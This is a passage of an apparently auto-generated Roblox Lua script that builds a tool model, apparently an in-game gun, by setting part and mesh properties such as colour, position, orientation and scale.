  1319. Part37.Material = Enum.Material.Metal
  1320. Part37.BrickColor = BrickColor.new("Dark stone grey")
  1321. Part37.Rotation = Vector3.new(90, 0, -90)
  1322. Part37.Anchored = true
  1323. Part37.FormFactor = Enum.FormFactor.Symmetric
  1324. Part37.Size = Vector3.new(1, 1, 1)
  1325. Part37.CFrame = CFrame.new(143.899948, 2.94755912, 144.387604, 0, 1.00000036, -6.29723072e-05, 0, -6.29723072e-05, -1.00000036, -1, 0, 0)
  1326. Part37.BottomSurface = Enum.SurfaceType.Smooth
  1327. Part37.TopSurface = Enum.SurfaceType.Smooth
  1328. Part37.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1329. Part37.Position = Vector3.new(143.899948, 2.94755912, 144.387604)
  1330. Part37.Orientation = Vector3.new(90, 90, 0)
  1331. Part37.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1332. Decal38.Parent = Part37
  1333. Decal38.Texture = "http://www.roblox.com/asset/?id=47760372"
  1334. BlockMesh39.Parent = Part37
  1335. BlockMesh39.Scale = Vector3.new(0.119999997, 0.166666672, 0.833333313)
  1336. BlockMesh39.Scale = Vector3.new(0.119999997, 0.166666672, 0.833333313)
  1337. Part40.Name = "Mag2"
  1338. Part40.Parent = Tool0
  1339. Part40.Material = Enum.Material.Metal
  1340. Part40.BrickColor = BrickColor.new("Dark stone grey")
  1341. Part40.Rotation = Vector3.new(0, 90, 0)
  1342. Part40.Anchored = true
  1343. Part40.FormFactor = Enum.FormFactor.Custom
  1344. Part40.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1345. Part40.CFrame = CFrame.new(143.90387, 2.525805, 144.387604, 0, 0.000188827515, 1, 0, 1, -0.000188827515, -1, 0, 0)
  1346. Part40.BottomSurface = Enum.SurfaceType.Smooth
  1347. Part40.TopSurface = Enum.SurfaceType.Smooth
  1348. Part40.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1349. Part40.Position = Vector3.new(143.90387, 2.525805, 144.387604)
  1350. Part40.Orientation = Vector3.new(0.00999999978, 90, 0)
  1351. Part40.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1352. BlockMesh41.Parent = Part40
  1353. BlockMesh41.Scale = Vector3.new(0.666666687, 0.0666665584, 0.900000572)
  1354. BlockMesh41.Scale = Vector3.new(0.666666687, 0.0666665584, 0.900000572)
  1355. Part42.Parent = Tool0
  1356. Part42.Material = Enum.Material.Metal
  1357. Part42.BrickColor = BrickColor.new("Dark stone grey")
  1358. Part42.Rotation = Vector3.new(90, 0, -180)
  1359. Part42.Anchored = true
  1360. Part42.FormFactor = Enum.FormFactor.Custom
  1361. Part42.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1362. Part42.CFrame = CFrame.new(143.302933, 4.00991011, 144.444275, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  1363. Part42.BottomSurface = Enum.SurfaceType.Smooth
  1364. Part42.TopSurface = Enum.SurfaceType.Smooth
  1365. Part42.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1366. Part42.Position = Vector3.new(143.302933, 4.00991011, 144.444275)
  1367. Part42.Orientation = Vector3.new(90, 180, 0)
  1368. Part42.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1369. BlockMesh43.Parent = Part42
  1370. BlockMesh43.Scale = Vector3.new(0.140000001, 0.0666662827, 0.200000018)
  1371. BlockMesh43.Scale = Vector3.new(0.140000001, 0.0666662827, 0.200000018)
  1372. Part44.Parent = Tool0
  1373. Part44.Material = Enum.Material.Metal
  1374. Part44.BrickColor = BrickColor.new("Dark stone grey")
  1375. Part44.Rotation = Vector3.new(90, 0, -180)
  1376. Part44.Anchored = true
  1377. Part44.FormFactor = Enum.FormFactor.Custom
  1378. Part44.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1379. Part44.CFrame = CFrame.new(143.206268, 4.00991011, 144.337601, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  1380. Part44.BottomSurface = Enum.SurfaceType.Smooth
  1381. Part44.TopSurface = Enum.SurfaceType.Smooth
  1382. Part44.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1383. Part44.Position = Vector3.new(143.206268, 4.00991011, 144.337601)
  1384. Part44.Orientation = Vector3.new(90, 180, 0)
  1385. Part44.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1386. BlockMesh45.Parent = Part44
  1387. BlockMesh45.Scale = Vector3.new(0.831999838, 0.0666662827, 0.200000033)
  1388. BlockMesh45.Scale = Vector3.new(0.831999838, 0.0666662827, 0.200000033)
  1389. Part46.Parent = Tool0
  1390. Part46.Material = Enum.Material.Metal
  1391. Part46.BrickColor = BrickColor.new("Dark stone grey")
  1392. Part46.Rotation = Vector3.new(90, 0, -180)
  1393. Part46.Anchored = true
  1394. Part46.FormFactor = Enum.FormFactor.Custom
  1395. Part46.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1396. Part46.CFrame = CFrame.new(143.219604, 4.02658176, 144.457596, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  1397. Part46.BottomSurface = Enum.SurfaceType.Smooth
  1398. Part46.TopSurface = Enum.SurfaceType.Smooth
  1399. Part46.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1400. Part46.Position = Vector3.new(143.219604, 4.02658176, 144.457596)
  1401. Part46.Orientation = Vector3.new(90, 180, 0)
  1402. Part46.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1403. CylinderMesh47.Parent = Part46
  1404. CylinderMesh47.Scale = Vector3.new(30, 0.0666662827, 1)
  1405. CylinderMesh47.Scale = Vector3.new(30, 0.0666662827, 1)
  1406. Part48.Parent = Tool0
  1407. Part48.Material = Enum.Material.Metal
  1408. Part48.BrickColor = BrickColor.new("Black")
  1409. Part48.Rotation = Vector3.new(-90, -90, 0)
  1410. Part48.Anchored = true
  1411. Part48.FormFactor = Enum.FormFactor.Custom
  1412. Part48.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1413. Part48.CFrame = CFrame.new(144.409607, 3.79657793, 144.500931, 0, 0, -1, 1, 0, 0, 0, -1, 0)
  1414. Part48.BottomSurface = Enum.SurfaceType.Smooth
  1415. Part48.TopSurface = Enum.SurfaceType.Smooth
  1416. Part48.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1417. Part48.Position = Vector3.new(144.409607, 3.79657793, 144.500931)
  1418. Part48.Orientation = Vector3.new(0, -90, 90)
  1419. Part48.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1420. BlockMesh49.Parent = Part48
  1421. BlockMesh49.Scale = Vector3.new(0.333333194, 0.0333333388, 0.766666472)
  1422. BlockMesh49.Scale = Vector3.new(0.333333194, 0.0333333388, 0.766666472)
  1423. Part50.Parent = Tool0
  1424. Part50.Material = Enum.Material.Metal
  1425. Part50.BrickColor = BrickColor.new("Dark stone grey")
  1426. Part50.Rotation = Vector3.new(90, 0, -180)
  1427. Part50.Anchored = true
  1428. Part50.FormFactor = Enum.FormFactor.Custom
  1429. Part50.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1430. Part50.CFrame = CFrame.new(144.866272, 4.00324106, 144.337601, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  1431. Part50.BottomSurface = Enum.SurfaceType.Smooth
  1432. Part50.TopSurface = Enum.SurfaceType.Smooth
  1433. Part50.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1434. Part50.Position = Vector3.new(144.866272, 4.00324106, 144.337601)
  1435. Part50.Orientation = Vector3.new(90, 180, 0)
  1436. Part50.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1437. BlockMesh51.Parent = Part50
  1438. BlockMesh51.Scale = Vector3.new(0.0666666701, 0.0666662827, 0.13333334)
  1439. BlockMesh51.Scale = Vector3.new(0.0666666701, 0.0666662827, 0.13333334)
  1440. Part52.Parent = Tool0
  1441. Part52.Material = Enum.Material.Metal
  1442. Part52.BrickColor = BrickColor.new("Dark stone grey")
  1443. Part52.Rotation = Vector3.new(90, 0, -180)
  1444. Part52.Anchored = true
  1445. Part52.FormFactor = Enum.FormFactor.Custom
  1446. Part52.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1447. Part52.CFrame = CFrame.new(143.222946, 4.0732379, 144.370956, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  1448. Part52.BottomSurface = Enum.SurfaceType.Smooth
  1449. Part52.TopSurface = Enum.SurfaceType.Smooth
  1450. Part52.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1451. Part52.Position = Vector3.new(143.222946, 4.0732379, 144.370956)
  1452. Part52.Orientation = Vector3.new(90, 180, 0)
  1453. Part52.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1454. BlockMesh53.Parent = Part52
  1455. BlockMesh53.Scale = Vector3.new(0.0233333316, 0.11999999, 0.0333333351)
  1456. BlockMesh53.Scale = Vector3.new(0.0233333316, 0.11999999, 0.0333333351)
  1457. Part54.Parent = Tool0
  1458. Part54.Material = Enum.Material.Metal
  1459. Part54.BrickColor = BrickColor.new("Black")
  1460. Part54.Rotation = Vector3.new(90, 0, -180)
  1461. Part54.Anchored = true
  1462. Part54.FormFactor = Enum.FormFactor.Custom
  1463. Part54.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1464. Part54.CFrame = CFrame.new(143.082932, 3.926579, 144.387604, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  1465. Part54.BottomSurface = Enum.SurfaceType.Smooth
  1466. Part54.TopSurface = Enum.SurfaceType.Smooth
  1467. Part54.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1468. Part54.Position = Vector3.new(143.082932, 3.926579, 144.387604)
  1469. Part54.Orientation = Vector3.new(90, 180, 0)
  1470. Part54.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1471. CylinderMesh55.Parent = Part54
  1472. CylinderMesh55.Scale = Vector3.new(0.366666675, 0.733333051, 0.366666675)
  1473. CylinderMesh55.Scale = Vector3.new(0.366666675, 0.733333051, 0.366666675)
  1474. Part56.Parent = Tool0
  1475. Part56.Material = Enum.Material.Metal
  1476. Part56.BrickColor = BrickColor.new("Dark stone grey")
  1477. Part56.Rotation = Vector3.new(-90, 0, 90)
  1478. Part56.Anchored = true
  1479. Part56.FormFactor = Enum.FormFactor.Custom
  1480. Part56.Size = Vector3.new(0.200000003, 0.906666636, 0.200000003)
  1481. Part56.CFrame = CFrame.new(144.186279, 3.97324896, 144.324265, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  1482. Part56.BottomSurface = Enum.SurfaceType.Smooth
  1483. Part56.TopSurface = Enum.SurfaceType.Smooth
  1484. Part56.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1485. Part56.Position = Vector3.new(144.186279, 3.97324896, 144.324265)
  1486. Part56.Orientation = Vector3.new(-90, 90, 0)
  1487. Part56.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1488. BlockMesh57.Parent = Part56
  1489. BlockMesh57.Scale = Vector3.new(0.266666532, 1, 0.166666672)
  1490. BlockMesh57.Scale = Vector3.new(0.266666532, 1, 0.166666672)
  1491. Part58.Parent = Tool0
  1492. Part58.Material = Enum.Material.Metal
  1493. Part58.BrickColor = BrickColor.new("Dark stone grey")
  1494. Part58.Rotation = Vector3.new(90, 0, -90)
  1495. Part58.Anchored = true
  1496. Part58.FormFactor = Enum.FormFactor.Custom
  1497. Part58.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1498. Part58.CFrame = CFrame.new(144.389603, 3.99991298, 144.487595, 0, 1, 0, 0, 0, -1, -1, 0, 0)
  1499. Part58.BottomSurface = Enum.SurfaceType.Smooth
  1500. Part58.TopSurface = Enum.SurfaceType.Smooth
  1501. Part58.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1502. Part58.Position = Vector3.new(144.389603, 3.99991298, 144.487595)
  1503. Part58.Orientation = Vector3.new(90, 90, 0)
  1504. Part58.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1505. SpecialMesh59.Parent = Part58
  1506. SpecialMesh59.Scale = Vector3.new(0.166666299, 0.833333671, 0.100000083)
  1507. SpecialMesh59.MeshType = Enum.MeshType.Wedge
  1508. SpecialMesh59.Scale = Vector3.new(0.166666299, 0.833333671, 0.100000083)
  1509. Part60.Parent = Tool0
  1510. Part60.Material = Enum.Material.Metal
  1511. Part60.BrickColor = BrickColor.new("Dark stone grey")
  1512. Part60.Rotation = Vector3.new(-90, 0, 90)
  1513. Part60.Anchored = true
  1514. Part60.FormFactor = Enum.FormFactor.Custom
  1515. Part60.Size = Vector3.new(0.200000003, 0.333333343, 0.200000003)
  1516. Part60.CFrame = CFrame.new(145.319595, 3.83324599, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  1517. Part60.BottomSurface = Enum.SurfaceType.Smooth
  1518. Part60.TopSurface = Enum.SurfaceType.Smooth
  1519. Part60.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1520. Part60.Position = Vector3.new(145.319595, 3.83324599, 144.39093)
  1521. Part60.Orientation = Vector3.new(-90, 90, 0)
  1522. Part60.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1523. CylinderMesh61.Parent = Part60
  1524. CylinderMesh61.Scale = Vector3.new(0.586666465, 1, 0.403333157)
  1525. CylinderMesh61.Scale = Vector3.new(0.586666465, 1, 0.403333157)
  1526. Part62.Parent = Tool0
  1527. Part62.Material = Enum.Material.Metal
  1528. Part62.BrickColor = BrickColor.new("Black")
  1529. Part62.Rotation = Vector3.new(-90, -15.0099993, 0)
  1530. Part62.Anchored = true
  1531. Part62.FormFactor = Enum.FormFactor.Custom
  1532. Part62.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1533. Part62.CFrame = CFrame.new(143.101059, 3.81787395, 144.4776, 0.965896666, 0, -0.258930802, 0.258930802, 0, 0.965896666, 0, -1, -0)
  1534. Part62.BottomSurface = Enum.SurfaceType.Smooth
  1535. Part62.TopSurface = Enum.SurfaceType.Smooth
  1536. Part62.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1537. Part62.Position = Vector3.new(143.101059, 3.81787395, 144.4776)
  1538. Part62.Orientation = Vector3.new(-74.9899979, -90, 90)
  1539. Part62.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1540. CylinderMesh63.Parent = Part62
  1541. CylinderMesh63.Scale = Vector3.new(3.33333373, 0.166666359, 0.333333343)
  1542. CylinderMesh63.Scale = Vector3.new(3.33333373, 0.166666359, 0.333333343)
  1543. Part64.Parent = Tool0
  1544. Part64.Material = Enum.Material.Metal
  1545. Part64.BrickColor = BrickColor.new("Dark stone grey")
  1546. Part64.Rotation = Vector3.new(90, 0, -180)
  1547. Part64.Anchored = true
  1548. Part64.FormFactor = Enum.FormFactor.Custom
  1549. Part64.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1550. Part64.CFrame = CFrame.new(143.156265, 4.01324177, 144.347595, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  1551. Part64.BottomSurface = Enum.SurfaceType.Smooth
  1552. Part64.TopSurface = Enum.SurfaceType.Smooth
  1553. Part64.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1554. Part64.Position = Vector3.new(143.156265, 4.01324177, 144.347595)
  1555. Part64.Orientation = Vector3.new(90, 180, 0)
  1556. Part64.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1557. BlockMesh65.Parent = Part64
  1558. BlockMesh65.Scale = Vector3.new(0.0999999717, 0.0333333351, 0.166666672)
  1559. BlockMesh65.Scale = Vector3.new(0.0999999717, 0.0333333351, 0.166666672)
  1560. Part66.Parent = Tool0
  1561. Part66.Material = Enum.Material.Metal
  1562. Part66.BrickColor = BrickColor.new("Dark stone grey")
  1563. Part66.Rotation = Vector3.new(90, 0, -180)
  1564. Part66.Anchored = true
  1565. Part66.FormFactor = Enum.FormFactor.Custom
  1566. Part66.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1567. Part66.CFrame = CFrame.new(143.222946, 4.05991077, 144.39093, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  1568. Part66.BottomSurface = Enum.SurfaceType.Smooth
  1569. Part66.TopSurface = Enum.SurfaceType.Smooth
  1570. Part66.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1571. Part66.Position = Vector3.new(143.222946, 4.05991077, 144.39093)
  1572. Part66.Orientation = Vector3.new(90, 180, 0)
  1573. Part66.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1574. BlockMesh67.Parent = Part66
  1575. BlockMesh67.Scale = Vector3.new(0.0233333316, 0.0666666701, 0.0599999949)
  1576. BlockMesh67.Scale = Vector3.new(0.0233333316, 0.0666666701, 0.0599999949)
  1577. Part68.Parent = Tool0
  1578. Part68.Material = Enum.Material.Metal
  1579. Part68.BrickColor = BrickColor.new("Dark stone grey")
  1580. Part68.Rotation = Vector3.new(-90, -90, 0)
  1581. Part68.Anchored = true
  1582. Part68.FormFactor = Enum.FormFactor.Custom
  1583. Part68.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1584. Part68.CFrame = CFrame.new(144.562943, 3.93990898, 144.474274, 0, 0, -1, 1, 0, 0, 0, -1, 0)
  1585. Part68.BottomSurface = Enum.SurfaceType.Smooth
  1586. Part68.TopSurface = Enum.SurfaceType.Smooth
  1587. Part68.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1588. Part68.Position = Vector3.new(144.562943, 3.93990898, 144.474274)
  1589. Part68.Orientation = Vector3.new(0, -90, 90)
  1590. Part68.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1591. BlockMesh69.Parent = Part68
  1592. BlockMesh69.Scale = Vector3.new(0.166666493, 0.100000009, 0.766666234)
  1593. BlockMesh69.Scale = Vector3.new(0.166666493, 0.100000009, 0.766666234)
  1594. Part70.Parent = Tool0
  1595. Part70.Material = Enum.Material.Metal
  1596. Part70.BrickColor = BrickColor.new("Dark stone grey")
  1597. Part70.Rotation = Vector3.new(90, 0, -180)
  1598. Part70.Anchored = true
  1599. Part70.FormFactor = Enum.FormFactor.Custom
  1600. Part70.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1601. Part70.CFrame = CFrame.new(143.239609, 4.01657677, 144.347595, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  1602. Part70.BottomSurface = Enum.SurfaceType.Smooth
  1603. Part70.TopSurface = Enum.SurfaceType.Smooth
  1604. Part70.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1605. Part70.Position = Vector3.new(143.239609, 4.01657677, 144.347595)
  1606. Part70.Orientation = Vector3.new(90, 180, 0)
  1607. Part70.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1608. BlockMesh71.Parent = Part70
  1609. BlockMesh71.Scale = Vector3.new(0.0666666701, 0.0333333351, 0.200000018)
  1610. BlockMesh71.Scale = Vector3.new(0.0666666701, 0.0333333351, 0.200000018)
  1611. Part72.Parent = Tool0
  1612. Part72.Material = Enum.Material.Metal
  1613. Part72.BrickColor = BrickColor.new("Black")
  1614. Part72.Rotation = Vector3.new(-90, -15.0099993, -90)
  1615. Part72.Anchored = true
  1616. Part72.FormFactor = Enum.FormFactor.Custom
  1617. Part72.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1618. Part72.CFrame = CFrame.new(143.124802, 3.89670396, 144.4776, 0, 0.965896666, -0.258930802, 0, 0.258930802, 0.965896666, 1, 0, -0)
  1619. Part72.BottomSurface = Enum.SurfaceType.Smooth
  1620. Part72.TopSurface = Enum.SurfaceType.Smooth
  1621. Part72.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1622. Part72.Position = Vector3.new(143.124802, 3.89670396, 144.4776)
  1623. Part72.Orientation = Vector3.new(-74.9899979, -90, 0)
  1624. Part72.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1625. SpecialMesh73.Parent = Part72
  1626. SpecialMesh73.Scale = Vector3.new(0.166666433, 0.100000009, 0.666666746)
  1627. SpecialMesh73.MeshType = Enum.MeshType.Wedge
  1628. SpecialMesh73.Scale = Vector3.new(0.166666433, 0.100000009, 0.666666746)
  1629. Part74.Parent = Tool0
  1630. Part74.Material = Enum.Material.Metal
  1631. Part74.BrickColor = BrickColor.new("Black")
  1632. Part74.Rotation = Vector3.new(-90, 0, 90)
  1633. Part74.Anchored = true
  1634. Part74.FormFactor = Enum.FormFactor.Custom
  1635. Part74.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1636. Part74.CFrame = CFrame.new(144.92627, 3.79991198, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  1637. Part74.BottomSurface = Enum.SurfaceType.Smooth
  1638. Part74.TopSurface = Enum.SurfaceType.Smooth
  1639. Part74.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1640. Part74.Position = Vector3.new(144.92627, 3.79991198, 144.39093)
  1641. Part74.Orientation = Vector3.new(-90, 90, 0)
  1642. Part74.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1643. BlockMesh75.Parent = Part74
  1644. BlockMesh75.Scale = Vector3.new(0.733332694, 0.933333397, 0.166666672)
  1645. BlockMesh75.Scale = Vector3.new(0.733332694, 0.933333397, 0.166666672)
  1646. Part76.Parent = Tool0
  1647. Part76.Material = Enum.Material.Metal
  1648. Part76.BrickColor = BrickColor.new("Black")
  1649. Part76.Rotation = Vector3.new(0, 90, 0)
  1650. Part76.Anchored = true
  1651. Part76.FormFactor = Enum.FormFactor.Custom
  1652. Part76.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1653. Part76.CFrame = CFrame.new(144.469604, 3.84324098, 144.500931, 0, 0, 1, 0, 1, -0, -1, 0, 0)
  1654. Part76.BottomSurface = Enum.SurfaceType.Smooth
  1655. Part76.TopSurface = Enum.SurfaceType.Smooth
  1656. Part76.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1657. Part76.Position = Vector3.new(144.469604, 3.84324098, 144.500931)
  1658. Part76.Orientation = Vector3.new(0, 90, 0)
  1659. Part76.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1660. BlockMesh77.Parent = Part76
  1661. BlockMesh77.Scale = Vector3.new(0.0333333351, 0.13333337, 0.166666642)
  1662. BlockMesh77.Scale = Vector3.new(0.0333333351, 0.13333337, 0.166666642)
  1663. Part78.Parent = Tool0
  1664. Part78.Material = Enum.Material.Metal
  1665. Part78.BrickColor = BrickColor.new("Dark stone grey")
  1666. Part78.Rotation = Vector3.new(90, 0, -180)
  1667. Part78.Anchored = true
  1668. Part78.FormFactor = Enum.FormFactor.Custom
  1669. Part78.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1670. Part78.CFrame = CFrame.new(143.222946, 4.0665741, 144.420929, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  1671. Part78.BottomSurface = Enum.SurfaceType.Smooth
  1672. Part78.TopSurface = Enum.SurfaceType.Smooth
  1673. Part78.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1674. Part78.Position = Vector3.new(143.222946, 4.0665741, 144.420929)
  1675. Part78.Orientation = Vector3.new(90, 180, 0)
  1676. Part78.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1677. BlockMesh79.Parent = Part78
  1678. BlockMesh79.Scale = Vector3.new(0.0233333316, 0.0433333293, 0.0333333351)
  1679. BlockMesh79.Scale = Vector3.new(0.0233333316, 0.0433333293, 0.0333333351)
  1680. Part80.Parent = Tool0
  1681. Part80.Material = Enum.Material.Metal
  1682. Part80.BrickColor = BrickColor.new("Dark stone grey")
  1683. Part80.Rotation = Vector3.new(90, 0, -180)
  1684. Part80.Anchored = true
  1685. Part80.FormFactor = Enum.FormFactor.Custom
  1686. Part80.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1687. Part80.CFrame = CFrame.new(143.222946, 4.08657122, 144.39093, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  1688. Part80.BottomSurface = Enum.SurfaceType.Smooth
  1689. Part80.TopSurface = Enum.SurfaceType.Smooth
  1690. Part80.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1691. Part80.Position = Vector3.new(143.222946, 4.08657122, 144.39093)
  1692. Part80.Orientation = Vector3.new(90, 180, 0)
  1693. Part80.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1694. BlockMesh81.Parent = Part80
  1695. BlockMesh81.Scale = Vector3.new(0.0233333316, 0.266666651, 0.0599999949)
  1696. BlockMesh81.Scale = Vector3.new(0.0233333316, 0.266666651, 0.0599999949)
  1697. Part82.Parent = Tool0
  1698. Part82.Material = Enum.Material.Metal
  1699. Part82.BrickColor = BrickColor.new("Dark stone grey")
  1700. Part82.Rotation = Vector3.new(90, 0, -180)
  1701. Part82.Anchored = true
  1702. Part82.FormFactor = Enum.FormFactor.Custom
  1703. Part82.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1704. Part82.CFrame = CFrame.new(143.1996, 4.04323912, 144.347595, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  1705. Part82.BottomSurface = Enum.SurfaceType.Smooth
  1706. Part82.TopSurface = Enum.SurfaceType.Smooth
  1707. Part82.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1708. Part82.Position = Vector3.new(143.1996, 4.04323912, 144.347595)
  1709. Part82.Orientation = Vector3.new(90, 180, 0)
  1710. Part82.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1711. BlockMesh83.Parent = Part82
  1712. BlockMesh83.Scale = Vector3.new(0.333333373, 0.0333333351, 0.0666666701)
  1713. BlockMesh83.Scale = Vector3.new(0.333333373, 0.0333333351, 0.0666666701)
  1714. Part84.Parent = Tool0
  1715. Part84.Material = Enum.Material.Metal
  1716. Part84.BrickColor = BrickColor.new("Dark stone grey")
  1717. Part84.Rotation = Vector3.new(90, 0, -180)
  1718. Part84.Anchored = true
  1719. Part84.FormFactor = Enum.FormFactor.Custom
  1720. Part84.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1721. Part84.CFrame = CFrame.new(143.219604, 3.97324896, 144.39093, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  1722. Part84.BottomSurface = Enum.SurfaceType.Smooth
  1723. Part84.TopSurface = Enum.SurfaceType.Smooth
  1724. Part84.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1725. Part84.Position = Vector3.new(143.219604, 3.97324896, 144.39093)
  1726. Part84.Orientation = Vector3.new(90, 180, 0)
  1727. Part84.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1728. BlockMesh85.Parent = Part84
  1729. BlockMesh85.Scale = Vector3.new(0.99999994, 0.73333329, 0.166666657)
  1730. BlockMesh85.Scale = Vector3.new(0.99999994, 0.73333329, 0.166666657)
  1731. Part86.Parent = Tool0
  1732. Part86.Material = Enum.Material.Metal
  1733. Part86.BrickColor = BrickColor.new("Dark stone grey")
  1734. Part86.Rotation = Vector3.new(90, 0, -180)
  1735. Part86.Anchored = true
  1736. Part86.FormFactor = Enum.FormFactor.Custom
  1737. Part86.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1738. Part86.CFrame = CFrame.new(144.936279, 4.00324106, 144.337601, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  1739. Part86.BottomSurface = Enum.SurfaceType.Smooth
  1740. Part86.TopSurface = Enum.SurfaceType.Smooth
  1741. Part86.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1742. Part86.Position = Vector3.new(144.936279, 4.00324106, 144.337601)
  1743. Part86.Orientation = Vector3.new(90, 180, 0)
  1744. Part86.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1745. BlockMesh87.Parent = Part86
  1746. BlockMesh87.Scale = Vector3.new(0.633333266, 0.0666662827, 0.133333355)
  1747. BlockMesh87.Scale = Vector3.new(0.633333266, 0.0666662827, 0.133333355)
  1748. Part88.Parent = Tool0
  1749. Part88.Material = Enum.Material.Metal
  1750. Part88.BrickColor = BrickColor.new("Dark stone grey")
  1751. Part88.Rotation = Vector3.new(90, 0, -180)
  1752. Part88.Anchored = true
  1753. Part88.FormFactor = Enum.FormFactor.Custom
  1754. Part88.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1755. Part88.CFrame = CFrame.new(143.162933, 4.03324223, 144.434265, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  1756. Part88.BottomSurface = Enum.SurfaceType.Smooth
  1757. Part88.TopSurface = Enum.SurfaceType.Smooth
  1758. Part88.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1759. Part88.Position = Vector3.new(143.162933, 4.03324223, 144.434265)
  1760. Part88.Orientation = Vector3.new(90, 180, 0)
  1761. Part88.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1762. CylinderMesh89.Parent = Part88
  1763. CylinderMesh89.Scale = Vector3.new(0.166666687, 0.0333333351, 0.166666672)
  1764. CylinderMesh89.Scale = Vector3.new(0.166666687, 0.0333333351, 0.166666672)
  1765. Part90.Parent = Tool0
  1766. Part90.Material = Enum.Material.Metal
  1767. Part90.BrickColor = BrickColor.new("Dark stone grey")
  1768. Part90.Rotation = Vector3.new(90, 0, -180)
  1769. Part90.Anchored = true
  1770. Part90.FormFactor = Enum.FormFactor.Custom
  1771. Part90.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1772. Part90.CFrame = CFrame.new(143.222946, 4.02657318, 144.39093, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  1773. Part90.BottomSurface = Enum.SurfaceType.Smooth
  1774. Part90.TopSurface = Enum.SurfaceType.Smooth
  1775. Part90.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1776. Part90.Position = Vector3.new(143.222946, 4.02657318, 144.39093)
  1777. Part90.Orientation = Vector3.new(90, 180, 0)
